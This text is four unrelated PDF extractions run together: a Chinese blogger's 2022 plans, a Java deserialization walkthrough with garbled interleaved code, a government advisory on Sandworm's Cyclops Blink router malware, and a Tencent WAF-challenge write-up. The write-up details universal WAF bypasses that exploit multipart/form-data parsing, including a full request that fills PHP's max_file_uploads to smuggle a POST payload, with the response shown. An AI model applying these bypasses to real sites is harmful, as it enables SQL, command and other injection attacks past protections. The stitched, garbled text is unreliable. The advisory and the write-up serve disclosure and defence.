Unix系统的简洁并不是天⽣就有。要知道，这个有着建筑构件概念的操作系统，可是AT&T⻉尔实验室的丹尼斯⾥奇和肯汤普逊⾟⾟苦苦花了⼤⼒⽓写出来的！你也千万别把简洁和容易混为⼀谈。简洁需要良好的设计和卓然的品味，要做到简洁可⼀点都不容易。对⾥⾯的师⽣⽐赛很是羡慕，如果未来我要做⽼师的话，我也要做这样的⽼师。 New 2022() 惯例给⾃⼰新的⼀年制定下计划(暂定)。去年定了学习pwn，就看了⼏篇⽂章，然后之后都忘了。去年在做yara逆向的时候看到了⼏篇有关yara漏洞的⽂章，漏洞点知道在哪，但是利⽤层⾯完全不懂了，今年学习下pwn的⼀些漏洞点和利⽤⽅式吧。⾃动化刷src 想给⾃⼰被动赚钱多⼀个⻔路，⼀些基础的地基项⽬差不多完成了，现在只要组装⼀下测试效果。之前有过⼀段时间的研究，后⾯是条件限制终⽌了，但是也挖到了较⼤的成果。现在服务器有了， web2.0爬⾍有开源的了，w13scan所具备的技战术，以及我对go差不多摸清楚了，所以想重启这个研究，挖点⼤事情。对⼀个技术做深⼊的研究具体哪个技术，我还没想好，但是深⼊的研究，我想应该先把相关的⽂章和paper读完，做到了这⼀步，到年中的时候再来规划吧。 2021⾃⼰觉得还是做了挺多有意思的研究，学习了很多东⻄，2022不知道还有哪些有意思的事情在等着呢？	pdf
java.io.ObjectInputStream 反序列化分析 -… Skay 这⾥主要参考了李三师傅的⽂章 http://redteam.today/2020/02/14/Java%E5%8E%9F%E 7%94%9F%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8E%E5%8F%8D%E5%B A%8F%E5%88%97%E5%8C%96%E4%BB%A3%E7%A0%81%E7%AE%80%E8%A6%8 1%E5%88%86%E6%9E%90/ 膜膜膜感觉看了⽂章⼀下⼦明⽩了好多，当然还有好很多疑问图镇楼 (1) ⾸先起⼀个Demo调试环境被序列化的类 /** 1 我们的序列化和反序列化⽅法 * @auther Skay 2 * @date 2020/12/20 22:06 3 * @description 4 / 5 public class theObj implements java.io.Serializable{ 6 public String theObj; 7 public void mailCheck() 8 { 9 System.out.println("This is the "+this.theObj); 10 } 11 } 12 import java.io.; 1 2 /** 3 * @auther Skay 4 * @date 2020/12/20 22:07 5 * @description 6 */ 7 public class SerializeDemo { 8 public static void main(String [] args) 9 { 10 serialize(); 11 deserialize(); 12 } 13 14 public static void serialize(){ 15 theObj theobj = new theObj(); 16 theobj.theObj = "I'm the obj"; 17 try 18 { 19 // 打开一个文件输入流 20 FileOutputStream fileOut = 21 new FileOutputStream("se.txt"); 22 // 建立对象输入流 23 ObjectOutputStream out = new ObjectOutputStream(fileOut); 24 //输出反序列化对象 25 out.writeObject(theobj); 26 out.close(); 27 fileOut.close(); 28 System.out.printf("Serialized data is saved in se.txt\n"); 29 }catch(Exception e) 30 { 31 e.printStackTrace(); 32 } 33 } 34 35 public static void deserialize(){ 36 theObj theobj = null; 37 try 38 { 39 运⾏如下： (2) 调试分析 1.序列化 writeobject 1.1 预处理我们断点下到writeobject中，⾸先进⼊预处理逻辑，进⼊writeobject0 // 打开一个文件输入流 40 FileInputStream fileIn = new FileInputStream("se.txt"); 41 // 建立对象输入流 42 ObjectInputStream in = new ObjectInputStream(fileIn); 43 // 读取对象 44 theobj = (theObj) in.readObject(); 45 in.close(); 46 fileIn.close(); 47 }catch(Exception e) 48 { 49 e.printStackTrace(); 50 return; 51 } 52 System.out.println("Deserialized theObj..."); 53 System.out.println("This is the "+theobj.theObj); 54 } 55 } 56 这⾥参考⽂章提到的是通过内省拿到desc(ObjectOutputStreamClass), 官⽅⽂档中描述ObjectOutputStreamClass：类的序列化描述符。它包含类的名称和 serialVersionUID。可以使⽤ lookup ⽅法找到/创建在此 Java VM 中加载的具体类的 ObjectStreamClass。以便于后期对⽬标类进⾏内省(内省我暂时的理解是反射的阉割版本，阉割了反射的修改功能，但是暂时还没有深⼊分析过反射和内省，留坑)，不过desc的⽣成让我们确定了suid是在哪⾥产⽣的然后⾛到java.io.ObjectOutputStream#writeOrdinaryObject开始真正的序列化数据这⾥分为三个步骤TC_OBJECT、⽣成类的元信息、填充类的具体数据 1.2 TC_OBJECT ⾸先是TC_OBJECT的填⼊什么是TC_OBJECT，我们观察java序列化后的字符串前⼏个字节 AC ED： STREAM_MAGIC。指定这是⼀个序列化协议。 00 05：STREAM_VERSION。序列化版本。 0x73：TC_OBJECT。指定这是⼀个new Object。 STREAM_MAGIC以及STREAM_VERSION的填⼊是在ObjectOutpuutStream初始化中就已⽣成如果想看其它写⼊对象序列化流的常量，参考java.io.ObjectStreamConstants 1.3 ⽣成类的元信息进⼊java.io.ObjectOutputStream#writeClassDesc，这个⽅法的注释信息写的是将给定类描述符的表示形式写⼊流。嗯，参考⽂章写的元信息，差不多吧，汉语博⼤精深。然后再看这个⽅法，很简单的逻辑，if else，分别处理对象为null类型、handler类型、代理类型以及所有其它类型，我⾃定义的theObject会⾛到最后⼀个else⾥跟进java.io.ObjectOutputStream#writeNonProxyDesc ⾸先会填⼊TC_CLASSDESC，类描述符，然后具体跟进writeClassDescriptor writeClassDescriptor中会直接调⽤desc.writeNonProxy(this); 写⼊name 写⼊suid 在for循环⾥写⼊属性信息这⾥注意⼀点writeNonProxyDesc走完writeClassDescriptor逻辑后，会递归调用 writeClassDesc写入父类元信息。 1.4 写⼊类属性具体值 java.io.ObjectOutputStream#writeSerialData 跟进java.io.ObjectOutputStream#defaultWriteFields 这个图⽚直接偷的233333333333(其它不是哦~) 可以看到在序列化的时候世界上是写入了各字段长度的，所以在后面反序列化读的时候是按照字段长度来进行读取的。这也解释了为什么在反序列化数据后面插入脏数据会不会影响反序列化。 2.反序列化 readobject 2.1 预处理直接跟进到java.io.ObjectInputStream#readObject0，这⾥有⼀个switch case逻辑，还记得刚才的115麽？因为是对对象的操作，所以会⾛到这⾥啦~ 因为反序列化的步骤就是序列化的逆向，所以还是和序列化的⼤致步骤⼀样，先是还原类的元信息，然后读取对象属性的具体值整体逻辑都在 java.io.ObjectInputStream#readOrdinaryObject中 2.2 还原类的元信息 java.io.ObjectInputStream#readClassDesc 好熟悉，有没得进⼊java.io.ObjectInputStream#readNonProxyDesc 主要关注readClassDescriptor、readsolveClass、以及最后的递归⾸先是readClassDescriptor java.io.ObjectInputStream#readNonProxyDesc中有⼀个readClassDescriptor处理逻辑，⽅法注释为：加载与指定流类等效的本地类，参考⽂章中说到这⾥就是对类类型进⾏了构建，开始对类(desc)进⾏构建了。跟进java.io.ObjectInputStream#readClassDescriptor，然后进⼊ java.io.ObjectStreamClass#readNonProxy 还原name 还原suid 循环还原ﬁelds，治理注意⼀下ﬁeld，反序列化时，java时讲属性抽象到了ObjectStreamField类中然后是 resolveClass forname的第⼀个参数为false，所以不会执⾏static代码块 resolveClass，反序列化的防御点就是这⾥，重写ObjInputStream时，覆盖的也是这个⽅法，加上⾃⼰的⽩名单或者⿊名单的过滤最后是initNonProxy 初始化表示⾮代理类的元数据，以及对readClassDesc进⾏递归。对我们的ObjectStreamClass desc进⾏还原最后的ObjectStreamClass desc填充好后会返回 java.io.ObjectInputStream#readOrdinaryObject 然后交给到java.io.ObjectInputStream#readSerialData 2.3 还原类属性值 readSerialData 其实映⼊眼帘的还有个readExternalData，留个坑，回头再说直接进⼊java.io.ObjectInputStream#readSerialData ⽅法注释为读取每个可序列化类的实例数据，嗯，就是将类属性的值填充进去和writeobject⼀样，如果我们⾃定义了readobject⽅法，就不会⾛到default逻辑，会⾛到 java.io.ObjectStreamClass#invokeReadObject中 java.io.ObjectInputStream#defaultReadFields， defaultReadFields，中第⼀个循环把原⽣类型数据赋给obj，第⼆个循环把数组、枚举类型、对象类型赋给obj。⾄此结束。 (3) 参考链接 http://redteam.today/2020/02/14/Java%E5%8E%9F%E7%94%9F%E5%BA%8F%E5% 88%97%E5%8C%96%E4%B8%8E%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C% 96%E4%BB%A3%E7%A0%81%E7%AE%80%E8%A6%81%E5%88%86%E6%9E%90/	pdf
Advisory. New Sandworm malware Cyclops Blink replaces VPNFilter Version 1.0 23 February 2022 © Crown Copyright 2022 New Sandworm malware Cyclops Blink replaces VPNFilter The Sandworm actor, which the UK and US have previously attributed to the Russian GRU, has replaced the exposed VPNFilter malware with a new more advanced framework. Background The UK National Cyber Security Centre (NCSC), the Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA) and the Federal Bureau of Investigation (FBI) in the US have identified that the actor known as Sandworm or Voodoo Bear is using a new malware, referred to here as Cyclops Blink. The NCSC, CISA, NSA and FBI have previously attributed the Sandworm actor to the Russian GRU’s Main Centre for Special Technologies GTsST. The malicious cyber activity below has previously been attributed to Sandworm: • The BlackEnergy disruption of Ukrainian electricity in 2015 • Industroyer in 2016 • NotPetya in 2017 • Attacks against the Winter Olympics and Paralympics in 20181 • A series of disruptive attacks against Georgia in 20192 Cyclops Blink appears to be a replacement framework for the VPNFilter malware exposed in 2018, which exploited network devices, primarily small office/home office (SOHO) routers and network attached storage (NAS) devices. 1https://www.ncsc.gov.uk/news/uk-and-partners-condemn-gru-cyber-attacks-against-olympic-an-paralympic-games 2 https://www.gov.uk/government/news/uk-condemns-russias-gru-over-georgia-cyber-attacks This advisory summarises the VPNFilter malware it replaces, and provides more detail about Cyclops Blink, as well as the associated tactics, techniques and procedures (TTPs) used by Sandworm. An NCSC malware analysis report on Cyclops Blink is also available and can be read in parallel. It also points to mitigation measures to help organisations that may be affected by this malware. VPNFilter First exposed in 2018 A series of articles published by Cisco Talos in 20181 describes VPNFilter and its modules in detail. VPNFilter was deployed in stages, with most functionality in the third-stage modules. These modules enabled traffic manipulation, destruction of the infected host device, and likely enabled downstream devices to be exploited. They also allowed monitoring of Modbus SCADA protocol which appears to be an ongoing requirement for Sandworm, as also seen in their previous attacks against ICS networks. VPNFilter targeting was widespread and appeared indiscriminate, with some exceptions: Cisco Talos reported an increase of victims in Ukraine in May 2018. Sandworm also deployed VPNFilter against targets in the Republic of Korea before the 2018 Winter Olympics. In May 2018 Cisco Talos published the blog that exposed VPNFilter, and the US Department of Justice linked the activity2 to Sandworm, and announced its disruption of the botnet. Activity since its exposure A Trendmicro3 blog in January 2021 detailed residual VPNFilter infections and provided data showing a reduction in requests to a known C2 domain. Since the disruption in May 2018, Sandworm has shown limited interest in existing VPNFilter footholds, instead preferring to retool. 1 https://blog.talosintelligence.com/2018/05/VPNFilter.html 2 https://www.justice.gov/opa/pr/justice-department-announces-actions-disrupt-advanced-persistent-threat-28-botnet-infected 3 https://www.trendmicro.com/en_gb/research/21/a/vpnfilter-two-years-later-routers-still-compromised-.html Cyclops Blink Active since 2019 The NCSC, CISA, FBI and NSA, along with industry partners, have now identified a large-scale modular malware framework which is affecting network devices. The new malware is referred to here as Cyclops Blink and has been deployed since at least June 2019, fourteen months after VPNFilter was disrupted. In common with VPNFilter, Cyclops Blink deployment also appears indiscriminate and widespread. The actor has so far primarily deployed Cyclops Blink to WatchGuard devices,1 but it is likely that Sandworm would be capable of compiling the malware for other architectures and firmware. Malware overview The malware itself is sophisticated and modular with basic core functionality to beacon (T1132.002) device information back to a server and enable files to be downloaded and executed. There is also functionality to add new modules while the malware is running, which allows Sandworm to implement additional capability as required. The NCSC has published a malware analysis report on Cyclops Blink which provides more detail about the malware. Post exploitation Post exploitation, Cyclops Blink is generally deployed as part of a firmware ‘update’ (T1542.001). This achieves persistence when the device is rebooted and makes remediation harder. 1 Note that only WatchGuard devices that were reconfigured from the manufacture default settings to open remote management interfaces to external access could be infected. Victim devices are organised into clusters and each deployment of Cyclops Blink has a list of command and control (C2) IP addresses and ports that it uses (T1008). All the known C2 IP addresses to date have been used by compromised WatchGuard firewall devices. Communications between Cyclops Blink clients and servers are protected under Transport Layer Security (TLS) (T1071.001), using individually generated keys and certificates. Sandworm manages Cyclops Blink by connecting to the C2 layer through the Tor network: Mitigation Cyclops Blink persists on reboot and throughout the legitimate firmware update process. Affected organisations should therefore take steps to remove the malware. WatchGuard has worked closely with the FBI, CISA and the NCSC, and has provided tooling and guidance to enable detection and removal of Cyclops Blink on WatchGuard devices through a non-standard upgrade process. Device owners should follow each step in these instructions to ensure that devices are patched to the latest version and that any infection is removed. WatchGuard tooling and guidance is available at: https://detection.watchguard.com/ In addition: • If your device is identified as infected with Cyclops Blink, you should assume that any passwords present on the device have been compromised and replace them (see NCSC password guidance for organisations: https://www.ncsc.gov.uk/collection/passwords ) • You should ensure that the management interface of network devices is not exposed to the internet. Indicators of compromise Please refer to the accompanying Cyclops Blink malware analysis report for indicators of compromise which may help detect this activity. MITRE ATT&CK® This advisory has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. Tactic Technique Procedure Initial Access T1133 External Remote Services The actors most likely deploy modified device firmware images by exploiting an externally available service Execution T1059.004 Command and Scripting Interpreter: Unix Shell Cyclops Blink executes downloaded files using the Linux API Persistence T1542.001 Pre-OS Boot: System Firmware Cyclops Blink is deployed within a modified device firmware image T1037.004 Boot or Logon Initialisation Scripts: RC Scripts Cyclops Blink is executed on device startup, using a modified RC script Defence Evasion T1562.004 Impair Defenses: Disable or Modify System Firewall Cyclops Blink modifies the Linux system firewall to enable C2 communication T1036.005 Masquerading: Match Legitimate Name or Location Cyclops Blink masquerades as a Linux kernel thread process Discovery T1082 System Information Discovery Cyclops Blink regularly queries device information Command and Control T1090 Proxy T1132.002 Data Encoding: Non-Standard Encoding Cyclops Blink command messages use a custom binary scheme to encode data T1008 Fallback Channels Cyclops Blink randomly selects a C2 server from contained lists of IPv4 addresses and port numbers T1071.001 Application Layer Protocol: Web Protocols Cyclops Blink can download files via HTTP or HTTPS T1573.002 Encrypted Channel: Asymmetric Cryptography Cyclops Blink C2 messages are individually encrypted using AES-256-CBC and sent underneath TLS T1571 Non-Standard Port The list of port numbers used by Cyclops Blink includes non-standard ports not typically associated with HTTP or HTTPS traffic Exfiltration T1041 Exfiltration Over C2 Channel Cyclops Blink can upload files to a C2 server Conclusion A Cyclops Blink infection does not mean that an organisation is the primary target, but it may be selected to be, or its machines could be used to conduct attacks. Organisations are advised to follow the mitigation advice in this advisory and to refer to indicators of compromise (not exhaustive) in the Cyclops Blink malware analysis report to detect possible activity on networks. UK organisations affected by the activity outlined in this advisory should report any compromises to the NCSC via our website. Further guidance A variety of mitigations will be of use in defending against the malware featured in this advisory. • Do not expose management interfaces of network devices to the internet: the management interface is a significant attack surface, so not exposing them reduces the risk. See NCSC guidance: https://www.ncsc.gov.uk/guidance/acquiring-managing-and-disposing-network- devices • Protect your devices and networks by keeping them up to date: use the latest supported versions, apply security patches promptly, use anti-virus and scan regularly to guard against known malware threats. See NCSC guidance: https://www.ncsc.gov.uk/guidance/mitigating-malware • Use multi-factor authentication to reduce the impact of password compromises. See NCSC guidance: https://www.ncsc.gov.uk/guidance/multi- factor-authentication-online-services and https://www.ncsc.gov.uk/guidance/setting- two-factor-authentication-2fa • Treat people as your first line of defence. Tell staff how to report suspected phishing emails, and ensure they feel confident to do so. Investigate their reports promptly and thoroughly. Never punish users for clicking phishing links or opening attachments. See NCSC guidance: https://www.ncsc.gov.uk/phishing • Set up a security monitoring capability so you are collecting the data that will be needed to analyse network intrusions. See NCSC guidance: https://www.ncsc.gov.uk/guidance/introduction-logging-security- purposes. • Prevent and detect lateral movement in your organisation’s networks. See NCSC guidance: https://www.ncsc.gov.uk/guidance/preventing-lateral-movement Disclaimers This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. All material is UK Crown Copyright © DISCLAIMER OF ENDORSEMENT The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes. For NSA client requirements or general cybersecurity inquiries, contact the NSA Cybersecurity Requirements Center at 410-854-4200 or [email protected]. About this document This advisory is the result of a collaborative effort by United Kingdom’s National Cyber Security Centre (NCSC), the United States’ Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI) and National Security Agency (NSA) The United States’ Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI) and National Security Agency (NSA) agree with this attribution and the details provided in the report. This advisory has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.	pdf
腾讯 WAF 挑战赛回忆录 by do9gy Part 0 应各位好友诚挚邀请，分享一下 WAF Bypass 相关的技巧。其实本来应该在比赛结束就跟大家分享，无奈于 TSRC 那边对各位师傅提交的 Bypass 尚未统一修复，一直推迟到今日。本文披露的相关技术信息已经得到 TSRC 有关方面的许可，且隐藏了相关 POC 的内容，只分享技术原理及绕过思路，希望能够起到抛砖引玉的作用。首先谈一下 WAF。Web 应用防火墙，主要用途是对 HTTP（s）协议进行校验，拦截恶意的攻击请求，放行正常的业务请求。从架构来看，主要分为：网络层、应用层、云 WAF 三类。从绕过来看，分为通用型绕过和单一规则绕过。通用型绕过即完全绕过 WAF 防护，一旦产生绕过后，可以利用该 Payload 实现任意一种攻击；而单一规则绕过，则仅能够绕过特定规则，例如：SQL 注入规则中使用 select-1.1from……来绕过 select\b[\s\S]\bfrom 这一正则规则，绕过以后仅能够实现 SQL 注入攻击。我所致力研究的属于前者。从网络层、应用层、云 WAF 三类场景来看他们的绕过思路也有所区别，例如，对于传统的网络层 WAF，采用 chunked 编码即可绕过，目前多数 WAF 厂商已经修复，但是我们仍然可以在网络层发包这一方向进行尝试和探索。对于应用层 WAF，WAF 的处理引擎是经过前端 Nginx 或 Apache（大多数场景都是 Nginx 及 Tengine）完成 HTTP 协议初步解析以后，再转发给 WAF 处理引擎的，因而一些网络层组包的技术是无法绕过的。那么就需要我们去研究：对于一个 HTTP 请求，Nginx 解析了什么内容？交给后面的 PHP、ASP 又解析了什么内容？本文介绍的思路主要围绕： multipart/form-data。主要针对于 POST 参数的，对于漏洞点在 GET 参数位置则用处不大。 1. multipart/form-data 。我们知道，HTTP 协议 POST 请求，除了常规的 application/x-www- form-urlencoded 以外，还有 multipart/form-data 这种形式，主要是为了解决上传文件场景下文件内容较大且内置字符不可控的问题。multipart/form-data 格式也是可以传递 POST 参数的。对于 Nginx+PHP 的架构，Nginx 实际上是不负责解析 multipart/form-data 的 body 部分的，而是交由 PHP 来解析，因此 WAF 所获取的内容就很有可能与后端的 PHP 发生不一致。以 PHP 为例，我们写一个简单的测试脚本： ``` <?php echo file_get_contents("php://input"); var_dump($_POST); var_dump($_FILES); ?> ``` 此时，我们将其转为 multipart/form-data 格式：可以看到，实际上和前一种 urlencoded 是达到了同一种效果，参数并没有进入$_FILES 数组，而是进入了$_POST 数组。那么，何时是上传文件？何时是 POST 参数呢？这个关键点在于有没有一个完整的 filename=。这 9 个字符是经过反复测试的，缺一个字符不可，替换一个字符也不可，在其中添加一个字符更不可。加上了 filename=以后的效果： Bypass WAF 的核心思想在于，一些 WAF 产品处于降低误报考虑，对用户上传文件的内容不做匹配，直接放行。事实上，这些内容在绝大多数场景也无法引起攻击。但关键问题在于，WAF 能否准确有效识别出哪些内容是传给$_POST 数组的，哪些传给$_FILES 数组？如果不能，那我们是否就可以想办法让 WAF 以为我们是在上传文件，而实际上却是在 POST 一个参数，这个参数可以是命令注入、SQL 注入、SSRF 等任意的一种攻击，这样就实现了通用 WAF Bypass。 Part 1：下面我们来看一下几种入门级的绕过思路： 1. 0x00 截断 filename 注意在 filename 之前加入了 0x00，而有些 WAF 在检测前会删除 HTTP 协议中的 0x00，这样就导致了 WAF 认为是含有 filename 的普通上传，而后端 PHP 则认为是 POST 参数。 2. 双写上传描述行双写后，一些 WAF 会取第二行，而实际 PHP 会获取第一行。 3. 双写整个 part 开头部分此时，该参数会引入一些垃圾数据，在命令注入及 SQL 注入的攻击场景，需要尽可能将前面的内容闭合。 4. 构造假的 part 部分 1 该方法与前一种类似。 5. 构造假的 part 部分 2 注意这里比前一种少了一个换行，数据纯净了许多。 6. 两个 boundary 对于 php 来说，真正的 boundary 是 a 。 7. 两个 Content-Type boundary 仍然是 a 8. 空 boundary 注意此时 boundary 是空的，并不是分号哦。 9. 空格 boundary 注意，此时 boundary 是可以为空格的。 10. boundary 中的逗号 boundary 遇到逗号就结束了。同理： Part2 如果你能够融会贯通这十种思路，说明已经入门了，我们开始脑洞升级，来看一下进阶版： 1. 0x00 截断进阶前面，我们介绍了，如果是这样双写，其实是以第一行为主的，这样就是上传文件。但如果我们在适当的地方加入 0x00、空格和 \t ，就会破坏第一行，让 PHP 反以第二行为主：这三个位置是首选的。将其替换为 0x00 和 0x20 与之同理，大家可自行测试。此外还有：这里的\0，也是可以的。最容易被忽视的是参数名中的 0x00。由此测试还有一个十分鸡肋的方式，用处不大，但有意思。只有当网站获取全部 POST 数组后以参数前缀来取值的场景才可利用，因为参数名后缀部分不可控。 2. boundary 进阶 boundary 的名称是可以前后加入任意内容的，WAF 如果严格按 boundary 去取，又要上当了。第一个 Content-Type 和冒号部分填入了空格。如何取 boundary 是一个问题： 3. 单双引号混合进阶我们需要考虑的问题是，Content-Disposition 中的字段使用单引号还是双引号？ 4. urlencoded 伪装成为 multipart 这个 poc 很特殊。实际上是 urlencoded，但是伪装成了 multipart，通过&来截取前后装饰部分，保留 id 参数的完整性。理论上 multipart/form-data 下的内容不进行 urldecoded，一些 WAF 也正是这样设计的，这样做本没有问题，但是如果是 urlencoded 格式的内容，不进行 url 解码就会引入%0a 这样字符，而这样的字符不解码是可以直接绕过防护规则的，从而导致了绕过。 Part2 部分相当于是 Part1 的一个扩展，篇幅有限，大家只需要在各个位置添加特殊字符 fuzz 即可。对于 Part3 却需要看一点 PHP 源码了。 Part3 1. skip_upload 进阶 1 在 PHP 中，实际上是有一个 skip_upload 来控制上传行是否为上传文件的。来看这样一个例子：前面内容中我们介绍了，如果在第一行的 Content-Disposition 位置添加\0，是有可能引起第一行失效，从而从上传文件变为 POST 参数的。除此以外，我们来看一下 php 源码 php- 5.3.3/main/rfc1867.c ,其中 line: 991 有这样一段内容： if (!skip_upload) { char tmp = param; long c = 0; while (tmp) { if (tmp == '[') { c++; } else if (tmp == ']') { c--; if (tmp[1] && tmp[1] != '[') { skip_upload = 1; break; } } if (c < 0) { skip_upload = 1; break; } tmp++; } } 其中的 param 参数是 name="f" 也就是 id 这个参数，那么请问，如何能让它 skip_upload 呢？没错，一些理解代码含义的同学应该已经有答案了。通过想办法进入 c < 0，c 原本是 0，遇到[ 就自增 1，遇到]就减一。那么，我们构造 name="f]" 即可让 c=-1 。成功。事实上，只要参数中有不成对匹配的左右中括号都可以引发 skip_upload。那么，还有其他的 skip_upload 吗？ 2. skip_upload 进阶 2 还需要继续研究代码。在 php 源码 rfc1867.c line 909 / If file_uploads=off, skip the file part */ if (!PG(file_uploads)) { skip_upload = 1; } else if (upload_cnt <= 0) { skip_upload = 1; sapi_module.sapi_error(E_WARNING, "Maximum number of allowable file uploads has been exceeded"); } Maximum number of allowable file uploads has been exceeded ，如何达到 Maximum？发现在 php 5.2.12 和以上的版本，有一个隐藏的文件上传限制是在 php.ini 里没有的，就是这个 max_file_uploads 的设定，该默认值是 20, 在 php 5.2.17 的版本中该值已不再隐藏。文件上传限制最大默认设为 20，所以一次上传最大就是 20 个文档，所以超出 20 个就会出错了。那么： POST /8.php HTTP/1.1 Host: 127.0.0.1 Content-Type: multipart/form-data;boundary=a; Content-Length: 2065 --a Content-Disposition: form-data; name="a";filename="1.png" Content-Type: image/png a --a Content-Disposition: form-data; name="b";filename="1.png" Content-Type: image/png b --a Content-Disposition: form-data; name="c";filename="1.png" Content-Type: image/png a --a Content-Disposition: form-data; name="d";filename="1.png" Content-Type: image/png b --a Content-Disposition: form-data; name="e";filename="1.png" Content-Type: image/png a --a Content-Disposition: form-data; name="f";filename="1.png" Content-Type: image/png b --a Content-Disposition: form-data; name="g";filename="1.png" Content-Type: image/png a --a Content-Disposition: form-data; name="h";filename="1.png" Content-Type: image/png b --a Content-Disposition: form-data; name="i";filename="1.png" Content-Type: image/png a --a Content-Disposition: form-data; name="j";filename="1.png" Content-Type: image/png b --a Content-Disposition: form-data; name="k";filename="1.png" Content-Type: image/png a --a Content-Disposition: form-data; name="l";filename="1.png" Content-Type: image/png b --a Content-Disposition: form-data; name="m";filename="1.png" Content-Type: image/png a --a Content-Disposition: form-data; name="n";filename="1.png" Content-Type: image/png b --a Content-Disposition: form-data; name="o";filename="1.png" Content-Type: image/png a --a Content-Disposition: form-data; name="p";filename="1.png" Content-Type: image/png b --a Content-Disposition: form-data; name="q";filename="1.png" Content-Type: image/png a --a Content-Disposition: form-data; name="r";filename="1.png" Content-Type: image/png b --a Content-Disposition: form-data; name="s";filename="1.png" Content-Type: image/png a --a Content-Disposition: form-data; name="t";filename="1.png" Content-Type: image/png b --a Content-Disposition: form-data; name="id";filename="1.png" Content-Type: image/png --a Content-Disposition: form-data; name="id"; Content-Type: image/png alert(1) --a-- HTTP/1.1 200 OK Server: nginx/1.19.5 Date: Thu, 03 Mar 2022 07:14:14 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/7.3.11 Content-Length: 4507 POST content: POST:array(1) { ["id"]=> string(8) "alert(1)" } FILES:array(20) { ["a"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/php1FFea0" ["error"]=> int(0) ["size"]=> int(1) } ["b"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpGwwobf" ["error"]=> int(0) ["size"]=> int(1) } ["c"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpmJOlzI" ["error"]=> int(0) ["size"]=> int(1) } ["d"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpL9SbXe" ["error"]=> int(0) ["size"]=> int(1) } ["e"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/php5TEkl4" ["error"]=> int(0) ["size"]=> int(1) } ["f"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpeAzjtW" ["error"]=> int(0) ["size"]=> int(1) } ["g"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpKQX29k" ["error"]=> int(0) ["size"]=> int(1) } ["h"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpN259vi" ["error"]=> int(0) ["size"]=> int(1) } ["i"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpKjE3L1" ["error"]=> int(0) ["size"]=> int(1) } ["j"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpxK3Ja2" ["error"]=> int(0) ["size"]=> int(1) } ["k"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpKfmKKS" ["error"]=> int(0) ["size"]=> int(1) } ["l"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpGbWp4q" ["error"]=> int(0) ["size"]=> int(1) } ["m"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpfb4WGA" ["error"]=> int(0) ["size"]=> int(1) } ["n"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpiW4wAU" ["error"]=> int(0) ["size"]=> int(1) } ["o"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpHuAUlt" ["error"]=> int(0) ["size"]=> int(1) } ["p"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpg9JuPK" ["error"]=> int(0) ["size"]=> int(1) } ["q"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpOm7Vx9" ["error"]=> int(0) ["size"]=> int(1) } ["r"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpg1iKx9" ["error"]=> int(0) ["size"]=> int(1) } ["s"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpKnTJgz" ["error"]=> int(0) ["size"]=> int(1) } ["t"]=> array(5) { ["name"]=> string(5) "1.png" ["type"]=> string(9) "image/png" ["tmp_name"]=> string(26) "/private/var/tmp/phpJaXwzl" ["error"]=> int(0) ["size"]=> int(1) } } 如果删除前面的 a-t 共计 20 个构造的 part，实际的效果并不能引起 POST 攻击。如下图所示：但是，如果拼接了这 20 个 part，实际上就填满了 Maximum，导致最后一个 upload 无法生效，就只能从 FILES 转化为 POST 了。	pdf
